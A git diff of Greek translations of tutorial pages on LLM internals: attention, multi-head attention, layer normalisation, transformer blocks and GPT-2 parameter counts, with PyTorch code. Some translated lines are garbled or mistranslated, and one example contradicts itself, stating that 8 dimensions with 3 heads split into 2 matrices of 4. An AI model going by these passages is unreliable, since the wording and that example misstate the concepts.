**επανερχόμενα επίπεδα** που θα **καταγράψουν τη σχέση μιας λέξης στο λεξιλόγιο με τους γείτονές της στην τρέχουσα πρόταση που χρησιμοποιείται για την εκπαίδευση του LLM**.\ +> Ο στόχος αυτής της τέταρτης φάσης είναι πολύ απλός: **Εφαρμόστε μερικούς μηχανισμούς προσοχής**. Αυτοί θα είναι πολλαπλά **επαναλαμβανόμενα επίπεδα** που θα **καταγράψουν τη σχέση μιας λέξης στο λεξιλόγιο με τους γείτονές της στην τρέχουσα πρόταση που χρησιμοποιείται για την εκπαίδευση του LLM**.\ > Χρησιμοποιούνται πολλά επίπεδα γι' αυτό, οπότε πολλοί εκπαιδεύσιμοι παράμετροι θα καταγράφουν αυτές τις πληροφορίες. ### Κατανόηση Μηχανισμών Προσοχής -Στα παραδοσιακά μοντέλα ακολουθίας προς ακολουθία που χρησιμοποιούνται για τη μετάφραση γλώσσας, το μοντέλο κωδικοποιεί μια ακολουθία εισόδου σε ένα σταθερού μεγέθους διάνυσμα πλαισίου. Ωστόσο, αυτή η προσέγγιση δυσκολεύεται με μεγάλες προτάσεις επειδή το σταθερού μεγέθους διάνυσμα πλαισίου μπορεί να μην καταγράψει όλες τις απαραίτητες πληροφορίες. Οι μηχανισμοί προσοχής αντιμετωπίζουν αυτόν τον περιορισμό επιτρέποντας στο μοντέλο να εξετάσει όλα τα εισαγωγικά tokens κατά την παραγωγή κάθε εξαγωγικού token. +Στα παραδοσιακά μοντέλα ακολουθίας προς ακολουθία που χρησιμοποιούνται για τη μετάφραση γλώσσας, το μοντέλο κωδικοποιεί μια ακολουθία εισόδου σε ένα σταθερού μεγέθους διάνυσμα πλαισίου. Ωστόσο, αυτή η προσέγγιση δυσκολεύεται με μεγάλες προτάσεις επειδή το σταθερού μεγέθους διάνυσμα πλαισίου μπορεί να μην καταγράψει όλες τις απαραίτητες πληροφορίες. Οι μηχανισμοί προσοχής αντιμετωπίζουν αυτόν τον περιορισμό επιτρέποντας στο μοντέλο να εξετάσει όλα τα εισερχόμενα tokens κατά την παραγωγή κάθε εξόδου token. #### Παράδειγμα: Μηχανική Μετάφραση -Σκεφτείτε τη μετάφραση της γερμανικής πρότασης "Kannst du mir helfen diesen Satz zu übersetzen" στα αγγλικά. Μια λέξη προς λέξη μετάφραση δεν θα παραγάγει μια γραμματικά σωστή αγγλική πρόταση λόγω διαφορών στις γραμματικές δομές μεταξύ των γλωσσών. Ένας μηχανισμός προσοχής επιτρέπει στο μοντέλο να εστιάσει σε σχετικές περιοχές της εισαγωγικής πρότασης κατά την παραγωγή κάθε λέξης της εξαγωγικής πρότασης, οδηγώντας σε μια πιο ακριβή και συνεκτική μετάφραση. +Σκεφτείτε τη μετάφραση της γερμανικής πρότασης "Kannst du mir helfen diesen Satz zu übersetzen" στα αγγλικά. Μια λέξη προς λέξη μετάφραση δεν θα παραγάγει μια γραμματικά σωστή αγγλική πρόταση λόγω διαφορών στις γραμματικές δομές μεταξύ των γλωσσών. Ένας μηχανισμός προσοχής επιτρέπει στο μοντέλο να εστιάσει σε σχετικές partes της εισερχόμενης πρότασης κατά την παραγωγή κάθε λέξης της εξόδου, οδηγώντας σε μια πιο ακριβή και συνεκτική μετάφραση. ### Εισαγωγή στην Αυτοπροσοχή Η αυτοπροσοχή, ή ενδοπροσοχή, είναι ένας μηχανισμός όπου η προσοχή εφαρμόζεται εντός μιας μόνο ακολουθίας για να υπολογιστεί μια αναπαράσταση αυτής της ακολουθίας. Επιτρέπει σε κάθε token στην ακολουθία να εστιάσει σε όλα τα άλλα tokens, βοηθώντας το μοντέλο να καταγράψει εξαρτήσεις μεταξύ των tokens ανεξαρτήτως της απόστασής τους στην ακολουθία. -#### Κύριες Έννοιες +#### Βασικές Έννοιες -- **Tokens**: Ατομικά στοιχεία της εισαγωγικής ακολουθίας (π.χ., λέξεις σε μια πρόταση). +- **Tokens**: Ατομικά στοιχεία της εισερχόμενης ακολουθίας (π.χ., λέξεις σε μια πρόταση). - **Ενσωματώσεις**: Διανυσματικές αναπαραστάσεις των tokens, που καταγράφουν σημασιολογικές πληροφορίες. - **Βάρη Προσοχής**: Τιμές που καθορίζουν τη σημασία κάθε token σε σχέση με τα άλλα. @@ -70,7 +70,7 @@ Υπολογίζοντας τις εκθετικές: -
+
Υπολογίζοντας το άθροισμα: @@ -113,7 +113,7 @@ 1. **Υπολογίστε Σκορ Προσοχής**: Χρησιμοποιήστε το εσωτερικό γινόμενο μεταξύ της ενσωμάτωσης της στοχευμένης λέξης και των ενσωματώσεων όλων των λέξεων στην ακολουθία. 2. **Κανονικοποιήστε τα Σκορ για να Λάβετε Βάρη Προσοχής**: Εφαρμόστε τη συνάρτηση softmax στα σκορ προσοχής για να αποκτήσετε βάρη που αθροίζουν σε 1. -3. **Υπολογίστε το Δίπλωμα Πλαισίου**: Πολλαπλασιάστε την ενσωμάτωση κάθε λέξης με το βάρος προσοχής της και αθροίστε τα αποτελέσματα. +3. **Υπολογίστε το Δίχτυ Πλαισίου**: Πολλαπλασιάστε την ενσωμάτωση κάθε λέξης με το βάρος προσοχής της και αθροίστε τα αποτελέσματα. ## Αυτοπροσοχή με Εκπαιδεύσιμα Βάρη @@ -121,7 +121,7 @@
-Το query είναι τα δεδομένα που χρησιμοποιούνται όπως πριν, ενώ οι πίνακες keys και values είναι απλώς τυχαίοι εκπαιδεύσιμοι πίνακες. +Το query είναι τα δεδομένα που χρησιμοποιούνται όπως πριν, ενώ οι πίνακες keys και values είναι απλώς τυχαίοι-εκπαιδεύσιμοι πίνακες. #### Βήμα 1: Υπολογισμός Queries, Keys και Values @@ -155,28 +155,28 @@ queries = torch.matmul(inputs, W_query) keys = torch.matmul(inputs, W_key) values = torch.matmul(inputs, W_value) ``` -#### Βήμα 2: Υπολογισμός Σ scaled Dot-Product Attention +#### Βήμα 2: Υπολογισμός Κλιμακωτής Προσοχής Διάνυσμα **Υπολογισμός Σκορ Προσοχής** -Παρόμοια με το παράδειγμα από πριν, αλλά αυτή τη φορά, αντί να χρησιμοποιούμε τις τιμές των διαστάσεων των tokens, χρησιμοποιούμε τον πίνακα κλειδιών του token (που έχει υπολογιστεί ήδη χρησιμοποιώντας τις διαστάσεις):. Έτσι, για κάθε ερώτημα `qi`​ και κλειδί `kj​`: +Παρόμοια με το προηγούμενο παράδειγμα, αλλά αυτή τη φορά, αντί να χρησιμοποιούμε τις τιμές των διαστάσεων των tokens, χρησιμοποιούμε τον πίνακα κλειδιών του token (που έχει υπολογιστεί ήδη χρησιμοποιώντας τις διαστάσεις):. Έτσι, για κάθε ερώτημα `qi`​ και κλειδί `kj​`:
-**Κλίμακα τα Σκορ** +**Κλιμάκωση των Σκορ** -Για να αποτρέψουμε τα εσωτερικά γινόμενα να γίνουν πολύ μεγάλα, κλιμακώνουμε τα με τη ρίζα του διαστάσεων κλειδιού `dk`​: +Για να αποτρέψουμε τα εσωτερικά προϊόντα να γίνουν πολύ μεγάλα, τα κλιμακώνουμε με την τετραγωνική ρίζα της διάστασης του κλειδιού `dk`​:
> [!TIP] -> Το σκορ διαιρείται με τη ρίζα των διαστάσεων επειδή τα εσωτερικά γινόμενα μπορεί να γίνουν πολύ μεγάλα και αυτό βοηθά να ρυθμιστούν. +> Το σκορ διαιρείται με την τετραγωνική ρίζα των διαστάσεων επειδή τα εσωτερικά προϊόντα μπορεί να γίνουν πολύ μεγάλα και αυτό βοηθά στη ρύθμισή τους. **Εφαρμογή Softmax για Απόκτηση Βαρών Προσοχής:** Όπως στο αρχικό παράδειγμα, κανονικοποιούμε όλες τις τιμές ώστε να αθροίζουν 1.
-#### Βήμα 3: Υπολογισμός Συμφραζομένων Διανυσμάτων +#### Βήμα 3: Υπολογισμός Δεικτών Πλαισίου Όπως στο αρχικό παράδειγμα, απλώς αθροίζουμε όλους τους πίνακες τιμών πολλαπλασιάζοντας τον καθένα με το βάρος προσοχής του: @@ -228,11 +228,11 @@ print(sa_v2(inputs)) ## Causal Attention: Απόκρυψη Μελλοντικών Λέξεων -Για τα LLMs θέλουμε το μοντέλο να εξετάζει μόνο τα tokens που εμφανίζονται πριν από την τρέχουσα θέση προκειμένου να **προβλέψει το επόμενο token**. **Causal attention**, γνωστό και ως **masked attention**, επιτυγχάνει αυτό τροποποιώντας τον μηχανισμό προσοχής για να αποτρέψει την πρόσβαση σε μελλοντικά tokens. +Για τα LLMs θέλουμε το μοντέλο να εξετάζει μόνο τους τόκεν που εμφανίζονται πριν από την τρέχουσα θέση προκειμένου να **προβλέψει τον επόμενο τόκεν**. **Causal attention**, γνωστό και ως **masked attention**, επιτυγχάνει αυτό τροποποιώντας τον μηχανισμό προσοχής για να αποτρέψει την πρόσβαση σε μελλοντικούς τόκεν. ### Εφαρμογή Μάσκας Causal Attention -Για να υλοποιήσουμε την causal attention, εφαρμόζουμε μια μάσκα στους βαθμούς προσοχής **πριν από τη λειτουργία softmax** ώστε οι υπόλοιποι να αθροίζουν 1. Αυτή η μάσκα ορίζει τους βαθμούς προσοχής των μελλοντικών tokens σε αρνητική άπειρο, διασφαλίζοντας ότι μετά το softmax, τα βάρη προσοχής τους είναι μηδέν. +Για να υλοποιήσουμε την causal attention, εφαρμόζουμε μια μάσκα στους βαθμούς προσοχής **πριν από τη λειτουργία softmax** ώστε οι υπόλοιποι να αθροίζουν 1. Αυτή η μάσκα ορίζει τους βαθμούς προσοχής των μελλοντικών τόκεν σε αρνητική άπειρο, διασφαλίζοντας ότι μετά το softmax, τα βάρη προσοχής τους είναι μηδέν. **Βήματα** @@ -329,7 +329,7 @@ print("context_vecs.shape:", context_vecs.shape) ### Παράδειγμα Κώδικα -Θα μπορούσε να είναι δυνατό να επαναχρησιμοποιηθεί ο προηγούμενος κώδικας και απλώς να προστεθεί μια περιτύλιξη που τον εκκινεί πολλές φορές, αλλά αυτή είναι μια πιο βελτιστοποιημένη έκδοση από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) που επεξεργάζεται όλες τις κεφαλές ταυτόχρονα (μειώνοντας τον αριθμό των δαπανηρών βρόχων for). Όπως μπορείτε να δείτε στον κώδικα, οι διαστάσεις κάθε token διαιρούνται σε διαφορετικές διαστάσεις ανάλογα με τον αριθμό των κεφαλών. Με αυτόν τον τρόπο, αν το token έχει 8 διαστάσεις και θέλουμε να χρησιμοποιήσουμε 3 κεφαλές, οι διαστάσεις θα διαιρεθούν σε 2 πίνακες των 4 διαστάσεων και κάθε κεφαλή θα χρησιμοποιήσει έναν από αυτούς: +Θα μπορούσε να είναι δυνατό να επαναχρησιμοποιηθεί ο προηγούμενος κώδικας και απλώς να προστεθεί μια περιτύλιξη που τον εκκινεί πολλές φορές, αλλά αυτή είναι μια πιο βελτιστοποιημένη έκδοση από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) που επεξεργάζεται όλες τις κεφαλές ταυτόχρονα (μειώνοντας τον αριθμό των δαπανηρών βρόχων). Όπως μπορείτε να δείτε στον κώδικα, οι διαστάσεις κάθε token διαιρούνται σε διαφορετικές διαστάσεις ανάλογα με τον αριθμό των κεφαλών. Με αυτόν τον τρόπο, αν το token έχει 8 διαστάσεις και θέλουμε να χρησιμοποιήσουμε 3 κεφαλές, οι διαστάσεις θα διαιρεθούν σε 2 πίνακες των 4 διαστάσεων και κάθε κεφαλή θα χρησιμοποιήσει έναν από αυτούς: ```python class MultiHeadAttention(nn.Module): def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): @@ -406,16 +406,16 @@ print(context_vecs) print("context_vecs.shape:", context_vecs.shape) ``` -Για μια άλλη συμπαγή και αποδοτική υλοποίηση, μπορείτε να χρησιμοποιήσετε την κλάση [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) στο PyTorch. +Για μια άλλη συμπαγή και αποδοτική υλοποίηση, μπορείτε να χρησιμοποιήσετε την [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) κλάση στο PyTorch. > [!TIP] -> Σύντομη απάντηση του ChatGPT σχετικά με το γιατί είναι καλύτερο να διαιρούμε τις διαστάσεις των tokens μεταξύ των heads αντί να έχει κάθε head πρόσβαση σε όλες τις διαστάσεις όλων των tokens: +> Σύντομη απάντηση του ChatGPT σχετικά με το γιατί είναι καλύτερο να διαιρείτε τις διαστάσεις των tokens μεταξύ των κεφαλών αντί να έχει κάθε κεφαλή να ελέγχει όλες τις διαστάσεις όλων των tokens: > -> Ενώ η δυνατότητα κάθε head να επεξεργάζεται όλες τις διαστάσεις embedding μπορεί να φαίνεται πλεονεκτική επειδή κάθε head θα έχει πρόσβαση σε όλες τις πληροφορίες, η τυπική πρακτική είναι να **διαιρούμε τις διαστάσεις embedding μεταξύ των heads**. Αυτή η προσέγγιση ισορροπεί την υπολογιστική αποδοτικότητα με την απόδοση του μοντέλου και ενθαρρύνει κάθε head να μάθει ποικιλόμορφες αναπαραστάσεις. Επομένως, η διαίρεση των διαστάσεων embedding προτιμάται γενικά από το να έχει κάθε head πρόσβαση σε όλες τις διαστάσεις. +> Ενώ η δυνατότητα κάθε κεφαλής να επεξεργάζεται όλες τις διαστάσεις ενσωμάτωσης μπορεί να φαίνεται πλεονεκτική επειδή κάθε κεφαλή θα έχει πρόσβαση σε όλες τις πληροφορίες, η τυπική πρακτική είναι να **διαιρείτε τις διαστάσεις ενσωμάτωσης μεταξύ των κεφαλών**. Αυτή η προσέγγιση ισορροπεί την υπολογιστική αποδοτικότητα με την απόδοση του μοντέλου και ενθαρρύνει κάθε κεφαλή να μάθει ποικιλόμορφες αναπαραστάσεις. Επομένως, η διαίρεση των διαστάσεων ενσωμάτωσης προτιμάται γενικά από το να έχει κάθε κεφαλή να ελέγχει όλες τις διαστάσεις. ## References - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/5.-llm-architecture.md b/src/AI/AI-llm-architecture/5.-llm-architecture.md index 42f7a1f75..1a1f6db88 100644 --- a/src/AI/AI-llm-architecture/5.-llm-architecture.md +++ b/src/AI/AI-llm-architecture/5.-llm-architecture.md @@ -1,6 +1,6 @@ # 5. LLM Architecture -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## LLM Architecture @@ -260,7 +260,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim) #### **Σκοπός και Λειτουργικότητα** -- **Πολυκεφαλική Αυτοπροσοχή:** Επιτρέπει στο μοντέλο να εστιάζει σε διαφορετικές θέσεις μέσα στην είσοδο ακολουθία κατά την κωδικοποίηση ενός token. +- **Πολυκεφαλική Αυτοπροσοχή:** Επιτρέπει στο μοντέλο να εστιάζει σε διαφορετικές θέσεις μέσα στη σειρά εισόδου κατά την κωδικοποίηση ενός token. - **Βασικά Στοιχεία:** - **Ερωτήσεις, Κλειδιά, Τιμές:** Γραμμικές προβολές της εισόδου, που χρησιμοποιούνται για τον υπολογισμό των σκορ προσοχής. - **Κεφάλια:** Πολλαπλοί μηχανισμοί προσοχής που λειτουργούν παράλληλα (`num_heads`), καθένας με μειωμένη διάσταση (`head_dim`). @@ -273,9 +273,9 @@ return x # Output shape: (batch_size, seq_len, emb_dim) > [!TIP] > Ο στόχος αυτού του δικτύου είναι να βρει τις σχέσεις μεταξύ των tokens στο ίδιο πλαίσιο. Επιπλέον, τα tokens χωρίζονται σε διαφορετικά κεφάλια προκειμένου να αποτραπεί η υπερβολική προσαρμογή, αν και οι τελικές σχέσεις που βρίσκονται ανά κεφάλι συνδυάζονται στο τέλος αυτού του δικτύου. > -> Επιπλέον, κατά την εκπαίδευση εφαρμόζεται μια **αιτιώδης μάσκα** ώστε τα μελλοντικά tokens να μην λαμβάνονται υπόψη κατά την αναζήτηση συγκεκριμένων σχέσεων με ένα token και εφαρμόζεται επίσης κάποια **dropout** για να **αποτραπεί η υπερβολική προσαρμογή**. +> Επιπλέον, κατά την εκπαίδευση εφαρμόζεται μια **αιτιώδης μάσκα** ώστε τα μετέπειτα tokens να μην λαμβάνονται υπόψη κατά την αναζήτηση συγκεκριμένων σχέσεων με ένα token και εφαρμόζεται επίσης κάποια **dropout** για να **αποτραπεί η υπερβολική προσαρμογή**. -### **Κανονικοποίηση** Επιπέδου +### **Κανονικοποίηση** Layer ```python # From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 class LayerNorm(nn.Module): @@ -296,7 +296,7 @@ return self.scale * norm_x + self.shift - **Layer Normalization:** Μια τεχνική που χρησιμοποιείται για να κανονικοποιήσει τις εισόδους σε όλη τη διάρκεια των χαρακτηριστικών (διαστάσεις embedding) για κάθε μεμονωμένο παράδειγμα σε μια παρτίδα. - **Συστατικά:** - **`eps`:** Ένας μικρός σταθερός αριθμός (`1e-5`) που προστίθεται στη διακύμανση για να αποτραπεί η διαίρεση με το μηδέν κατά τη διάρκεια της κανονικοποίησης. -- **`scale` και `shift`:** Μαθητές παράμετροι (`nn.Parameter`) που επιτρέπουν στο μοντέλο να κλιμακώνει και να μετατοπίζει την κανονικοποιημένη έξοδο. Αρχικοποιούνται σε μονάδες και μηδενικά, αντίστοιχα. +- **`scale` και `shift`:** Μαθητές παράμετροι (`nn.Parameter`) που επιτρέπουν στο μοντέλο να κλιμακώνει και να μετατοπίζει την κανονικοποιημένη έξοδο. Αρχικοποιούνται σε ένα και μηδέν, αντίστοιχα. - **Διαδικασία Κανονικοποίησης:** - **Υπολογισμός Μέσου (`mean`):** Υπολογίζει τον μέσο όρο της εισόδου `x` σε όλη τη διάρκεια της διάστασης embedding (`dim=-1`), διατηρώντας τη διάσταση για broadcasting (`keepdim=True`). - **Υπολογισμός Διακύμανσης (`var`):** Υπολογίζει τη διακύμανση του `x` σε όλη τη διάρκεια της διάστασης embedding, διατηρώντας επίσης τη διάσταση. Η παράμετρος `unbiased=False` διασφαλίζει ότι η διακύμανση υπολογίζεται χρησιμοποιώντας τον μεροληπτικό εκτιμητή (διαιρώντας με `N` αντί για `N-1`), που είναι κατάλληλο όταν κανονικοποιούμε σε χαρακτηριστικά αντί για δείγματα. @@ -304,11 +304,11 @@ return self.scale * norm_x + self.shift - **Κλίμακα και Μετατόπιση:** Εφαρμόζει τις μαθητές παραμέτρους `scale` και `shift` στην κανονικοποιημένη έξοδο. > [!TIP] -> Ο στόχος είναι να διασφαλιστεί ένας μέσος όρος 0 με διακύμανση 1 σε όλες τις διαστάσεις του ίδιου token. Ο στόχος αυτού είναι να **σταθεροποιήσει την εκπαίδευση βαθιών νευρωνικών δικτύων** μειώνοντας την εσωτερική μετατόπιση των παραμέτρων, η οποία αναφέρεται στην αλλαγή της κατανομής των ενεργοποιήσεων του δικτύου λόγω της ενημέρωσης των παραμέτρων κατά τη διάρκεια της εκπαίδευσης. +> Ο στόχος είναι να διασφαλιστεί ένας μέσος όρος 0 με διακύμανση 1 σε όλες τις διαστάσεις του ίδιου token. Ο στόχος αυτού είναι να **σταθεροποιήσει την εκπαίδευση βαθιών νευρωνικών δικτύων** μειώνοντας την εσωτερική μετατόπιση παραλλαγών, η οποία αναφέρεται στην αλλαγή στην κατανομή των ενεργοποιήσεων του δικτύου λόγω της ενημέρωσης των παραμέτρων κατά τη διάρκεια της εκπαίδευσης. ### **Transformer Block** -_Σχήματα έχουν προστεθεί ως σχόλια για να κατανοηθούν καλύτερα τα σχήματα των μητρών:_ +_Οι σχήματα έχουν προστεθεί ως σχόλια για να κατανοηθούν καλύτερα τα σχήματα των μητρών:_ ```python # From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 @@ -355,7 +355,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim) - **Residual Connections (Συντομεύσεις):** Προσθέτει την είσοδο ενός στρώματος στην έξοδό του για να βελτιώσει τη ροή του gradient και να επιτρέψει την εκπαίδευση βαθιών δικτύων. - **Dropout:** Εφαρμόζεται μετά από τα στρώματα προσοχής και feedforward για κανονικοποίηση. -#### **Βήμα-Βήμα Λειτουργικότητα** +#### **Λειτουργικότητα Βήμα-Βήμα** 1. **Πρώτη Διαδρομή Residual (Self-Attention):** - **Input (`shortcut`):** Αποθηκεύει την αρχική είσοδο για τη σύνδεση residual. @@ -371,10 +371,10 @@ return x # Output shape: (batch_size, seq_len, emb_dim) - **Add Residual (`x + shortcut`):** Συνδυάζει με την είσοδο από την πρώτη διαδρομή residual. > [!TIP] -> Το μπλοκ του μετασχηματιστή ομαδοποιεί όλα τα δίκτυα μαζί και εφαρμόζει κάποια **κανονικοποίηση** και **dropouts** για να βελτιώσει τη σταθερότητα και τα αποτελέσματα της εκπαίδευσης.\ +> Το μπλοκ του transformer ομαδοποιεί όλα τα δίκτυα μαζί και εφαρμόζει κάποια **κανονικοποίηση** και **dropouts** για να βελτιώσει τη σταθερότητα και τα αποτελέσματα της εκπαίδευσης.\ > Σημειώστε πώς τα dropouts γίνονται μετά τη χρήση κάθε δικτύου ενώ η κανονικοποίηση εφαρμόζεται πριν. > -> Επιπλέον, χρησιμοποιεί επίσης συντομεύσεις που συνίστανται στο **να προσθέτει την έξοδο ενός δικτύου με την είσοδό του**. Αυτό βοηθά στην πρόληψη του προβλήματος της εξαφάνισης του gradient διασφαλίζοντας ότι τα αρχικά στρώματα συμβάλλουν "τόσο όσο" και τα τελευταία. +> Επιπλέον, χρησιμοποιεί και συντομεύσεις που συνίστανται στο **να προσθέτει την έξοδο ενός δικτύου με την είσοδό του**. Αυτό βοηθά στην πρόληψη του προβλήματος της εξαφάνισης του gradient διασφαλίζοντας ότι τα αρχικά στρώματα συμβάλλουν "τόσο όσο" και τα τελευταία. ### **GPTModel** @@ -444,7 +444,7 @@ return logits # Output shape: (batch_size, seq_len, vocab_size) - **Επίπεδο Εξόδου (`out_head`):** Προβάλλει τις τελικές κρυφές καταστάσεις στο μέγεθος του λεξιλογίου για να παραγάγει logits για πρόβλεψη. > [!TIP] -> Ο στόχος αυτής της κλάσης είναι να χρησιμοποιήσει όλα τα άλλα αναφερόμενα δίκτυα για να **προβλέψει το επόμενο token σε μια ακολουθία**, το οποίο είναι θεμελιώδες για εργασίες όπως η δημιουργία κειμένου. +> Ο στόχος αυτής της κλάσης είναι να χρησιμοποιήσει όλα τα άλλα αναφερόμενα δίκτυα για να **προβλέψει το επόμενο token σε μια ακολουθία**, το οποίο είναι θεμελιώδες για εργασίες όπως η γεννήτρια κειμένου. > > Σημειώστε πώς θα **χρησιμοποιήσει τόσα πολλά μπλοκ transformer όσο υποδεικνύεται** και ότι κάθε μπλοκ transformer χρησιμοποιεί ένα δίκτυο πολλαπλών κεφαλών προσοχής, ένα δίκτυο προώθησης και αρκετές κανονικοποιήσεις. Έτσι, αν χρησιμοποιηθούν 12 μπλοκ transformer, πολλαπλασιάστε αυτό με 12. > @@ -488,22 +488,22 @@ position_embedding_params = 1024 * 768 = 786,432 embedding_params = token_embedding_params + position_embedding_params embedding_params = 38,597,376 + 786,432 = 39,383,808 ``` -#### **2. Μπλοκ Μετασχηματιστή** +#### **2. Transformer Blocks** -Υπάρχουν 12 μπλοκ μετασχηματιστή, οπότε θα υπολογίσουμε τις παραμέτρους για ένα μπλοκ και στη συνέχεια θα πολλαπλασιάσουμε με το 12. +Υπάρχουν 12 μπλοκ μετασχηματιστών, οπότε θα υπολογίσουμε τις παραμέτρους για ένα μπλοκ και στη συνέχεια θα πολλαπλασιάσουμε με το 12. -**Παράμετροι ανά Μπλοκ Μετασχηματιστή** +**Parameters per Transformer Block** -**α. Πολυκεφαλική Προσοχή** +**a. Multi-Head Attention** -- **Συστατικά:** -- **Γραμμικό Επίπεδο Ερώτησης (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **Γραμμικό Επίπεδο Κλειδιού (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **Γραμμικό Επίπεδο Τιμής (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **Προβολή Εξόδου (`out_proj`):** `nn.Linear(emb_dim, emb_dim)` -- **Υπολογισμοί:** +- **Components:** +- **Query Linear Layer (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)` +- **Key Linear Layer (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)` +- **Value Linear Layer (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)` +- **Output Projection (`out_proj`):** `nn.Linear(emb_dim, emb_dim)` +- **Calculations:** -- **Κάθε από τα `W_query`, `W_key`, `W_value`:** +- **Each of `W_query`, `W_key`, `W_value`:** ```python qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824 @@ -515,59 +515,59 @@ qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824 total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472 ``` -- **Προβολή Εξόδου (`out_proj`):** +- **Output Projection (`out_proj`):** ```python out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592 ``` -- **Συνολικές Παράμετροι Πολυκεφαλικής Προσοχής:** +- **Total Multi-Head Attention Parameters:** ```python mha_params = total_qkv_params + out_proj_params mha_params = 1,769,472 + 590,592 = 2,360,064 ``` -**β. Δίκτυο Τροφοδοσίας** +**b. FeedForward Network** -- **Συστατικά:** -- **Πρώτο Γραμμικό Επίπεδο:** `nn.Linear(emb_dim, 4 * emb_dim)` -- **Δεύτερο Γραμμικό Επίπεδο:** `nn.Linear(4 * emb_dim, emb_dim)` -- **Υπολογισμοί:** +- **Components:** +- **First Linear Layer:** `nn.Linear(emb_dim, 4 * emb_dim)` +- **Second Linear Layer:** `nn.Linear(4 * emb_dim, emb_dim)` +- **Calculations:** -- **Πρώτο Γραμμικό Επίπεδο:** +- **First Linear Layer:** ```python ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim) ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368 ``` -- **Δεύτερο Γραμμικό Επίπεδο:** +- **Second Linear Layer:** ```python ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064 ``` -- **Συνολικές Παράμετροι Τροφοδοσίας:** +- **Total FeedForward Parameters:** ```python ff_params = ff_first_layer_params + ff_second_layer_params ff_params = 2,362,368 + 2,360,064 = 4,722,432 ``` -**γ. Κανονικοποιήσεις Επίπεδου** +**c. Layer Normalizations** -- **Συστατικά:** -- Δύο περιπτώσεις `LayerNorm` ανά μπλοκ. -- Κάθε `LayerNorm` έχει `2 * emb_dim` παραμέτρους (κλίμακα και μετατόπιση). -- **Υπολογισμοί:** +- **Components:** +- Δύο `LayerNorm` περιπτώσεις ανά μπλοκ. +- Κάθε `LayerNorm` έχει `2 * emb_dim` παραμέτρους (scale και shift). +- **Calculations:** ```python layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072 ``` -**δ. Συνολικές Παράμετροι ανά Μπλοκ Μετασχηματιστή** +**d. Total Parameters per Transformer Block** ```python pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568 @@ -668,4 +668,4 @@ print("Output length:", len(out[0])) - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md index f79f38ca7..e0f782b1d 100644 --- a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md +++ b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md @@ -1,31 +1,31 @@ # 6. Προεκπαίδευση & Φόρτωση μοντέλων -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## Δημιουργία Κειμένου -Για να εκπαιδεύσουμε ένα μοντέλο, θα χρειαστεί το μοντέλο αυτό να είναι ικανό να δημιουργεί νέους τόκεν. Στη συνέχεια, θα συγκρίνουμε τους παραγόμενους τόκεν με τους αναμενόμενους προκειμένου να εκπαιδεύσουμε το μοντέλο στο **να μάθει τους τόκεν που χρειάζεται να δημιουργήσει**. +Για να εκπαιδεύσουμε ένα μοντέλο, θα χρειαστεί το μοντέλο αυτό να είναι ικανό να δημιουργεί νέους τόκενς. Στη συνέχεια, θα συγκρίνουμε τους παραγόμενους τόκενς με τους αναμενόμενους προκειμένου να εκπαιδεύσουμε το μοντέλο στο **να μάθει τους τόκενς που χρειάζεται να δημιουργήσει**. -Όπως στα προηγούμενα παραδείγματα, έχουμε ήδη προβλέψει κάποιους τόκεν, είναι δυνατόν να επαναχρησιμοποιήσουμε αυτή τη λειτουργία για αυτόν τον σκοπό. +Όπως στα προηγούμενα παραδείγματα, έχουμε ήδη προβλέψει κάποιους τόκενς, είναι δυνατόν να επαναχρησιμοποιήσουμε αυτή τη λειτουργία για αυτόν τον σκοπό. > [!TIP] > Ο στόχος αυτής της έκτης φάσης είναι πολύ απλός: **Εκπαίδευση του μοντέλου από την αρχή**. Για αυτό θα χρησιμοποιηθεί η προηγούμενη αρχιτεκτονική LLM με κάποιους βρόχους που θα διατρέχουν τα σύνολα δεδομένων χρησιμοποιώντας τις καθορισμένες συναρτήσεις 